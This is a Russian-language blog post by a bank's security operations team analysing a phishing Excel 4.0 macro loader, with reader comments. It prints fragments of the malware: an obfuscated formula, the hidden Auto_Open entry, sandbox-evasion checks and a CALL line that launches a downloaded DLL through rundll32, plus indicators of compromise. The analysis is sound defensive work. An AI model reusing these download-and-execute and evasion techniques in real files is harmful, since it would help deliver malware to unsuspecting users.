company_banner

Будни Tinkoff Security Operations Center: Анализ одного загрузчика

    Привет, Хабр!

    В нашем Tinkoff Security Operation Center мы регулярно занимаемся разбором техник, применяемых во вредоносном ПО и атаках, и недавно нам попался один интересный файл, о котором хотелось бы рассказать.

    image

    Техника, которую применили для создания этого шедевра, известна уже более 20 лет, но даже спустя десятилетия она остается актуальной, поскольку вызовы некоторых проверок в макросе не являются подозрительными и могут использоваться в легитимных документах. Речь идет о загрузчике зловреда, который написан на Excel 4.0 macros.

    Инструментарий


    В рамках анализа мы будем использовать сторонние инструменты по минимуму и обойдемся стандартным набором программ:

    • пакет Microsoft Office;
    • архиватор;
    • текстовый редактор;
    • как инструмент анализа действий ПО будем использовать Sysmon;
    • в качестве среды для анализа будем использовать VM с Windows 7 на борту

    Многабукаф


    Документ, который мы будем разбирать, — книга Excel в формате xls. Вредонос доставляется в фишинговых письмах, при запуске документа макрос выгружает ветку реестра, скачивает с сайта Microsoft информацию о обновлениях Office, а также загружает и запускает вредоносную .dll. После этих действий книга закрывается без сохранения изменений.

    Главное отличие от остальных загрузчиков этого типа — он не использует макросы VBA.

    Статический анализ


    Ниже приведен пример письма, в котором содержится вредоносный документ.



    Откроем вложение в нашей виртуальной машине.

    Сразу стоит обратить внимание: картинка предупреждает, что документ «защищен», и стоит ее открыть локально и нажать на «включить содержимое»:



    Предупреждение системы безопасности намекает на то, что нужно посмотреть проекты в редакторе Visual Basic.

    Переходим в разработчик — управление макросами (vbs), но не видим никаких макросов vbs или vba:



    Тут самое время вспомнить, что представляют собой офисные документы.

    Каждый документ Microsoft Office — это архив, который можно распаковать с помощью любого архиватора, извлекая содержимое документа:



    После распаковки видим, что внутри документов нет xml-файлов, которые мы привыкли видеть, дело в более старом формате документа — xls.

    В расширении xls содержимое хранится не в формате Office Open XML, а в двоичном формате BIFF8. В документе используется Excel 4.0 macro, где макросы могут исполняться в ячейках документа.

    Стоит отметить, что лист с макросом не скрыт, но на листе большое количество пустых ячеек, что затрудняет анализ.

    Для анализа файлов в формате BIFF8 есть инструменты, например BiffViewer, а для анализа содержимого есть отличный инструмент — oletools. Но мы попробуем обойтись без использования сторонних утилит.

    У Excel также есть формат, основанный на xml , — xlsm , в нем можно сохранять код макросов VBA и листы макросов Excel 4.0, что мы и сделаем.
    Полный список форматов, доступных для Excel, — excel — форматы.

    Сохраняем наш документ, разархивируем:



    Посмотрим, что содержится в файлах, начнем с директории macrosheets в папке xl и обнаружим файл со всеми данными на листе макроса:



    Таким образом, мы получаем все значения в ячейках на листе макроса. Сам макрос обфусцирован, ячейки содержат только числовые значения и формулы, конвертирующие эти значения и записывающие результат в новые ячейки.

    Например, в данной формуле преобразуются числовые значения в символы, конкатенируются и записываются в ячейку FK17653.

    Формула в excel
    FORMULA.FILL(CHAR(CV63675+HE4018)&CHAR(DG27830+HE26544)&CHAR(IA33205-EW25294)&CHAR(X1216+BA26751)&CHAR(X1216*ER27642)&CHAR(EC50683*IA4491)&CHAR(CV63675*CQ12674)&CHAR(CV63675-IP35389)&CHAR(DL61540+AP31398)&CHAR(GB59870-IB5677)&CHAR(X1216+DS45768)&CHAR(GB59870+FV60781)&CHAR(AA45534*S4000)&CHAR(CV63675*FK10514)&CHAR(EC50683/GD6905)&CHAR(GB59870+EM58732)&CHAR(HQ31358-GI51882)&CHAR(X1216+FX24913)&CHAR(DL61540*EC63501)&CHAR(HQ31358-IC62223)&CHAR(X1216*BY50777)&CHAR(X1216*FY64649)&CHAR(G64471+DW7092)&CHAR(HQ31358-B26139)&CHAR(HQ31358/I494)&CHAR(G64471*DG37241)&CHAR(DL61540-ES39934)&CHAR(X1216+BX48975),FK17653)

    В результате выполнения формулы получим следующую строку:



    Каждая последующая команда макроса «собирается» аналогичной формулой, записывается в ячейку и после выполняется.

    Чтобы макрос запускался автоматически при открытии документа, ячейка, с которой должен запускаться скрипт, должна называться Auto_Open. Рассмотрим файл workbook.xml:

    workbook.xml
    <?xml version=«1.0» encoding=«UTF-8» standalone=«yes»?>
    <workbook xmlns=«schemas.openxmlformats.org/spreadsheetml/2006/main» xmlns:r=«schemas.openxmlformats.org/officeDocument/2006/relationships» xmlns:mc=«schemas.openxmlformats.org/markup-compatibility/2006» mc:Ignorable=«x15» xmlns:x15=«schemas.microsoft.com/office/spreadsheetml/2010/11/main»> appName=«xl» lastEdited=«6» lowestEdited=«6» rupBuild=«14420»/><workbookPr/><mc:AlternateContent xmlns:mc=«schemas.openxmlformats.org/markup-compatibility/2006»> Requires=«x15»><x15ac:absPath url=«C:\Users\User\Desktop\malware\» xmlns:x15ac=«schemas.microsoft.com/office/spreadsheetml/2010/11/ac»/></mc:Choice></mc:AlternateContent>/><sheet name=«Sheet1» sheetId=«1» r:id=«rId1»/><sheet name=«Sheet2» sheetId=«2» r:id=«rId2»/>Sheet2!$IE$65406/>/>/>

    Внутри файла находим строку name="_xlnm.Auto_OpenT8nee" hidden=«1»>Sheet2!$IE$65406
    Это значит, что ячейка, с которой запускается макрос, — IE65406, является скрытой. Теперь мы знаем точку входа в макрос.

    Динамический анализ


    Никогда не запускайте подозрительные файлы на своей машине. Для изучения действий подозрительного ПО необходимо использовать специально подготовленную среду: различные песочницы или специально подготовленную изолированную машину — виртуальную либо железную.

    Откроем документ и запустим содержимое. Мелькнет окно командной строки, и книга закроется.
    Посмотрим логи Sysmon.

    У Sysmon есть событие создания процесса (id 1), более подробно про Sysmon можно прочитать здесь.

    По логам видим, что макрос создает файлы в директории c:\users\public

    Ниже представлено сообщение sysmon, в котором видно, что происходит выгрузка ветки реестра и запись результата в файл:

    Sysmon Event event ID 1
    sysmon event id 1
    Process Create:
    RuleName: technique_id=T1112,technique_name=Modify Registry
    ProcessGuid: {2a62482c-b244-5ecf-3a00-000000002700}
    ProcessId: 3268
    Image: C:\Windows\System32\reg.exe
    FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255)
    Description: Registry Console Tool
    Product: Microsoft Windows Operating System
    Company: Microsoft Corporation
    OriginalFileName: reg.exe
    CommandLine: «C:\Windows\system32\reg.exe» EXPORT HKCU\Software\Microsoft\Office\16.0\Excel\Security C:\Users\Public\IcItdXw.reg /y"
    CurrentDirectory: C:\Users\user\Documents\
    User: user
    LogonGuid: {2a62482c-b1d8-5ecf-3284-010000000000}
    LogonId: 0x18432
    TerminalSessionId: 1
    IntegrityLevel: High
    Hashes: SHA1=8BD131B03D6BA865B228CA8EE3239D2EF2B90B74,MD5=D69A9ABBB0D795F21995C2F48C1EB560,SHA256=36414C7E57AFA6136D77FD47F4C55102E35F2475FBCD719728DA7D14B1590E2A,IMPHASH=BC564726CFF18A49EBC14784593A51CA
    ParentProcessGuid: {2a62482c-b23f-5ecf-3900-000000002700}
    ParentProcessId: 3164
    ParentImage: C:\Program Files\Microsoft Office\Office16\EXCEL.EXE
    ParentCommandLine: «C:\Program Files\Microsoft Office\Office16\EXCEL.EXE»

    По завершении работы макрос удаляет созданные файлы.

    Чтобы запретить удаление файлов, изменим разрешения на папку, оставим права на чтение и запись и запретим удаление:



    Запустим документ еще раз, получим ошибку во время выполнения макроса, что даст нам возможность произвести его отладку.

    Это возможно, так как отсутствует обработка исключений в некоторых вызовах.





    Запустим пошаговое выполнение макроса, во время дебага нам встречаются вызовы функций из dll-библиотек, такие как ShellExecute и URLDownloadToFile. По завершении макроса в папке общих пользователей будут следующие файлы:



    Так как нам известна ячейка, с которой начинается исполнение, мы можем заполнить все ячейки в листе макроса. Пробежимся по макросу до функции close(false), где мы прервем выполнение, нажав кнопку «Пауза».

    Ячейки с проверками окружения


    Просматривая ячейки, которые заполняет макрос, встречаем несколько функций get.window() и get.workspace()

    • Функция get.window() возвращает информацию о текущем окне: статус, состояние окна, его имя, параметры отображения и т. д.
    • Функция get.workspace() позволяет узнать информацию о среде, в которой запущен документ.

    Полный список вызовов, доступных Excel 4.0, можно найти в ссылках.

    Тут нужно остановиться подробнее: мы с коллегой предположили, что большинство этих вызовов связаны с попытками обхода песочниц:

    • get.winow(7) — проверяет, не скрыто ли текущее окно. Возвращает true или false.
    • get.windows(20) — возвращает true в случае, если окно развернуто на весь экран.
    • get.windows(23) — может вернуть значение 1, 2 и 3.



    1 — restored
    2 — minimized
    3 — maximized

    Таким образом осуществляется проверка, открыто ли текущее окно:

    get.workspace(31) — проверка, отлаживается ли макрос по шагам.
    get.workspace(13) — проверка ширины рабочей области в пикселях: если меньше 770, то книга закроется



    get.workspace(14) — проверка высоты рабочей области в пикселях: если меньше 390, то книга закроется



    get.workspace(19) — проверка присутствия мыши.
    get.workspace(1) — возвращает, в какой операционной системе запущен документ.
    В случае false в каждой проверке происходит переход на ячейку закрытия книги без сохранения результата.

    Вызовы внешних библиотек


    После проверок окружения переходим к основному функционалу. Посмотрим, как из макроса вызываются WinAPI функции:

    1. Вызов reg.exe, который мы видели в логах Sysmon.



    Для вызова утилиты используется функция ShellExecute из библиотеки shell32.dll, параметры для функции разбросаны по другим ячейкам.

    Ячейка BN16631:



    Ячейка A46097:



    В ячейке GN47559 передается команда экспорта необходимой ветки реестра, Get.workspace(2) возвращает версию Excel.



    В ячейке DX48821 содержится путь, куда запишется результат.



    Далее в макросе присутствует проверка на наличие созданного файла IcltdXw.reg и его удаление.

    2. Вызов функции URLDownloadToFile. Данная функция сохраняет в файл результат get-запроса.
    Вызов выглядит следующим образом:



    Этот вызов ведет нас на сайт Microsoft, на страницу с информацией об обновлениях Office.

    Параметры функции:

    Ячейка BR6547



    Ячейка IN49847



    После выполнения инструкции идет проверка, создался ли файл, а также чтение символа по смещению в файле:



    Скорее всего, эти действия направлены на проверку, есть ли у окружения, где запущен документ, доступ в интернет.

    В формуле в iserror передается функция FILES и аргумент — имя файла, куда должен записаться результат функции URLDownloadToFile:



    Ячейка FM27223 передаст управление функции закрытия книги:



    При успешном получении файла от Microsoft заполняются ячейки для подготовки к второму вызову dll urlmon.

    Загрузка полезной нагрузки


    И вот второй вызов, но уже на домен dehabadi[.]ir, с которого должна произойти загрузка вредоносной нагрузки:



    Результат запишется в файл в эту же папку с расширением html:



    Дальше натыкаемся на ветвление в коде макроса, если с первой попытки скачать payload не удалось, будет предпринята вторая попытка, но уже с другого адреса.

    В случае успешной загрузки выведется всплывающее окно с предупреждением и вызовется загруженная библиотека.



    Полный вызов выглядит следующим образом:

    =CALL("shell32","ShellExecuteA","JJCCJJ",0,"open","c:\windows\systemc32\rundll32.exe","c:\users\public\4hcFC.html,DllRegisterServer",0,5) 

    В полном вызове функция ShellExecuteA вызывается из библиотеки Shell32 с параметрами для запуска rundll32, с помощью которой вызывается экспортируемая функция скаченной вредоносной библиотеки.

    На этом функция макроса завершена, полезная нагрузка загружена и запущена.

    Заключение


    Как было сказано, технология достаточно старая (Excel 4.0 для Windows 3.0 и 3.1), однако она в полной мере предоставляет функционал, необходимый вредоносному ПО для достижения своих целей. А цель этого файла — незаметно подложить в систему опасное ПО, способное нанести серьезный ущерб, начиная с кражи персональных данных, данных авторизации для систем, заканчивая повреждением/шифрованием данных на компьютере и возможностью удаленно выполнять код.

    Для анализа подобных документов совсем не обязательно использовать какие-либо специальные утилиты и ПО, однако стоит упомянуть набор скриптов oletools — подробнее можно посмотреть здесь. На этом мы закончим, ниже приведены индикаторы компрометации, выявленные в результате анализа.

    Полученные IOC:

    evans[.]williamdmon[@]wp[.]pl
    eleventalents[.]com
    dehabadi[.]ir
    hxxps://eleventalents.com/wp-keys.php
    hxxps://dehabadi.ir/wp-keys.php
    de88d3774ae006d96121d9b45efbf1ee
    a73d1214740330013773cd733b0daf206eae2e03
    ba4adb640f777ad9b0881919e9bd1e171e64025d97a37fd585295ab611653419

    Полный список индикаторов компрометации.

    Ссылки:


    Над анализом работали:

    Фролов Илья
    Коленчук Алексей
    Tinkoff
    it’s Tinkoff — просто о сложном

    Комментарии 6

      –5

      А каким образом служба безопасности Тинькова допустила использование на рабочем месте ПО, которое может такую фигню творить? Да ещё и из обычного вложения в письме?


      Т.е. чем руководствовалась компания, когда одобряла использование табличного процессора, который умеет качать файлы из интернета, запускать их, управлять запущенными окнами и т.д.?


      У меня два варианта:


      а) This is fine.
      б) Все так делают и мы так делаем.

        +2
        Привет, спасибо за вопросы, не совсем понял, причём тут разрешение или запрет запуска ПО, ведь статья все-таки про анализ варианта дроппера. Поясню.
        Данный функционал, который используется дроппером, встроен в стандартный механизм excel, мы говорим об этом в статье. В случае, если бы пользователь получил такое письмо, оно в любом случае было бы заблокировано внутренними контролями, а пользователю отобразилось бы сообщение — “Предупреждение системы безопасности. Запуск макросов отключён.“
        Еще в статье не упоминается о таком механизме как “использование табличного процессора“, поэтому делать выводы о том, что его разрешали и тем более запрещали, не совсем корректно. В любом случае, в статье присутствуют ссылки и отсылки к официальной документации и функциям, которые встроены в механизм Excel.
        +3
        а расскажите как вы узнали об этом файле? кто-то из сотрудников вам переслал или у вас система обнаружила и отправила на анализ автоматом?
          +1
          Привет! Внутри компании и на периметре настроены контроли и различные средства защиты информации, которые в случае атаки либо вредоносной активности, сообщают что стоит обратить внимание на аномалию.
            +2
            а можно перечислить продукты или хотя бы вендоров? чтоб если какая-то компания тоже захочет такие же контроли у себя поставить?
            Знаем про Cisco IronPort, хотелось бы узнать какие еще альтернативы или дополнительные средства существуют на рынке. Спасибо
          0

          А можно как-то групповой политикой отключить исполнение всего этого "добра" в Excel ?

          Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

          Самое читаемое